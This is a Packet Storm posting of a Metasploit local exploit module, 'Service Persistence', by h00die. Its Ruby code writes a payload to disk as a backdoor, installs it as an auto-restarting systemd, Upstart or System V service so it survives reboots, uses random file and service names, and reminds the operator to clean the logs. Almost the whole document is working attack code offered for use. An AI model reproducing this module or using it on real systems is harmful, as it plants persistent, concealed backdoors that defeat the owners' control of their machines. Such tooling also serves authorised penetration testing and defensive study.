Metasploit Service Persistence Module

2016-08-18T00:00:00
ID PACKETSTORM:138407
Type packetstorm
Reporter h00die
Modified 2016-08-18T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Unix  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Service Persistence',  
'Description' => %q(  
This module will create a service on the box, and mark it for auto-restart.  
We need enough access to write service files and potentially restart services  
Targets:  
System V:  
CentOS <= 5  
Debian <= 6  
Kali 2.0  
Ubuntu <= 9.04  
Upstart:  
CentOS 6  
Fedora >= 9, < 15  
Ubuntu >= 9.10, <= 14.10  
systemd:  
CentOS 7  
Debian >= 7, <=8  
Fedora >= 15  
Ubuntu >= 15.04  
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <mike@shorebreaksecurity.com>'  
],  
'Platform' => ['unix', 'linux'],  
'Targets' =>  
[  
['Auto', {}],  
['System V', { :runlevel => '2 3 4 5' }],  
['Upstart', { :runlevel => '2345' }],  
['systemd', {}]  
],  
'DefaultTarget' => 0,  
'Arch' => ARCH_CMD,  
'References' =>  
[  
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down  
}  
},  
'DefaultOptions' =>  
{  
'WfsDelay' => 5  
},  
'DisclosureDate' => 'Jan 1 1983', # system v release date  
)  
)  
  
register_options(  
[  
OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']),  
OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),  
OptString.new('SERVICE', [false, 'Name of service to create'])  
], self.class  
)  
end  
  
def exploit  
backdoor = write_shell(datastore['SHELLPATH'])  
path = backdoor.split('/')[0...-1].join('/')  
file = backdoor.split('/')[-1]  
case target.name  
when 'System V'  
system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))  
when 'Upstart'  
upstart(path, file, target.opts[:runlevel])  
when 'systemd'  
systemd(path, file)  
else  
if service_system_exists?('systemctl')  
print_status('Utilizing systemd')  
systemd(path, file)  
end  
if service_system_exists?('initctl')  
print_status('Utilizing Upstart')  
upstart(path, file, '2345')  
end  
has_updatercd = service_system_exists?('update-rc.d')  
if has_updatercd || service_system_exists?('chkconfig') # centos 5  
print_status('Utilizing System_V')  
system_v(path, file, '2 3 4 5', has_updatercd)  
else  
print_error('Unable to detect service system')  
register_file_for_cleanup(backdoor)  
end  
end  
end  
  
def service_system_exists?(command)  
service_cmd = cmd_exec("which #{command}")  
!(service_cmd.empty? || service_cmd.include?('no'))  
end  
  
def write_shell(path)  
file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)  
backdoor = "#{path}/#{file_name}"  
vprint_status("Writing backdoor to #{backdoor}")  
write_file(backdoor, payload.encoded)  
cmd_exec("chmod 711 #{backdoor}")  
backdoor  
end  
  
def systemd(backdoor_path, backdoor_file)  
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/  
script = %{[Unit]  
Description=Start daemon at boot time  
After=  
Requires=  
[Service]  
RestartSec=10s  
Restart=always  
TimeoutStartSec=5  
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}  
[Install]  
WantedBy=multi-user.target}  
  
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)  
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")  
write_file("/lib/systemd/system/#{service_filename}.service", script)  
vprint_status('Enabling service')  
cmd_exec("systemctl enable #{service_filename}.service")  
vprint_status('Starting service')  
cmd_exec("systemctl start #{service_filename}.service")  
end  
  
def upstart(backdoor_path, backdoor_file, runlevel)  
# http://blog.terminal.com/getting-started-with-upstart/  
script = %{description \"Start daemon at boot time\"  
start on filesystem or runlevel [#{runlevel}]  
stop on shutdown  
script  
cd #{backdoor_path}  
echo $$ > /var/run/#{backdoor_file}.pid  
exec #{backdoor_file}  
end script  
post-stop exec sleep 10  
respawn  
respawn limit unlimited}  
  
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)  
vprint_status("Writing service: /etc/init/#{service_filename}.conf")  
write_file("/etc/init/#{service_filename}.conf", script)  
vprint_status('Starting service')  
cmd_exec("initctl start #{service_filename}")  
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")  
end  
  
def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)  
if has_updatercd  
print_status('Utilizing update-rc.d')  
else  
print_status('Utilizing chkconfig')  
end  
script = %{#!/bin/sh  
### BEGIN INIT INFO  
# Provides: service  
# Required-Start: $network  
# Required-Stop: $network  
# Default-Start: #{runlevel}  
# Default-Stop: 0 1 6  
# Short-Description: Start daemon at boot time  
# Description: Enable service provided by daemon.  
### END INIT INFO  
dir=\"#{backdoor_path}\"  
cmd=\"#{backdoor_file}\"  
name=`basename $0`  
pid_file=\"/var/run/$name.pid\"  
stdout_log=\"/var/log/$name.log\"  
stderr_log=\"/var/log/$name.err\"  
get_pid() {  
cat \"$pid_file\"  
}  
is_running() {  
[ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1  
}  
case \"$1\" in  
start)  
if is_running; then  
echo \"Already started\"  
else  
echo \"Starting $name\"  
cd \"$dir\"}  
  
if has_updatercd  
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"  
else # CentOS didn't like sudo or su...  
script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"  
end  
script << %{ echo $! > \"$pid_file\"  
if ! is_running; then  
echo \"Unable to start, see $stdout_log and $stderr_log\"  
exit 1  
fi  
fi  
;;  
stop)  
if is_running; then  
echo -n \"Stopping $name..\"  
kill `get_pid`  
for i in {1..10}  
do  
if ! is_running; then  
break  
fi  
echo -n \".\"  
sleep 1  
done  
echo  
if is_running; then  
echo \"Not stopped; may still be shutting down or shutdown may have failed\"  
exit 1  
else  
echo \"Stopped\"  
if [ -f \"$pid_file\" ]; then  
rm \"$pid_file\"  
fi  
fi  
else  
echo \"Not running\"  
fi  
;;  
restart)  
$0 stop  
if is_running; then  
echo \"Unable to stop, will not attempt to start\"  
exit 1  
fi  
$0 start  
;;  
status)  
if is_running; then  
echo \"Running\"  
else  
echo \"Stopped\"  
exit 1  
fi  
;;  
*)  
echo \"Usage: $0 {start|stop|restart|status}\"  
exit 1  
;;  
esac  
exit 0}  
  
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)  
vprint_status("Writing service: /etc/init.d/#{service_filename}")  
write_file("/etc/init.d/#{service_filename}", script)  
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")  
vprint_status('Enabling & starting our service')  
if has_updatercd  
cmd_exec("update-rc.d #{service_filename} defaults")  
cmd_exec("update-rc.d #{service_filename} enable")  
cmd_exec("service #{service_filename} start")  
else # CentOS  
cmd_exec("chkconfig --add #{service_filename}")  
cmd_exec("chkconfig #{service_filename} on")  
cmd_exec("/etc/init.d/#{service_filename} start")  
end  
end  
end  
`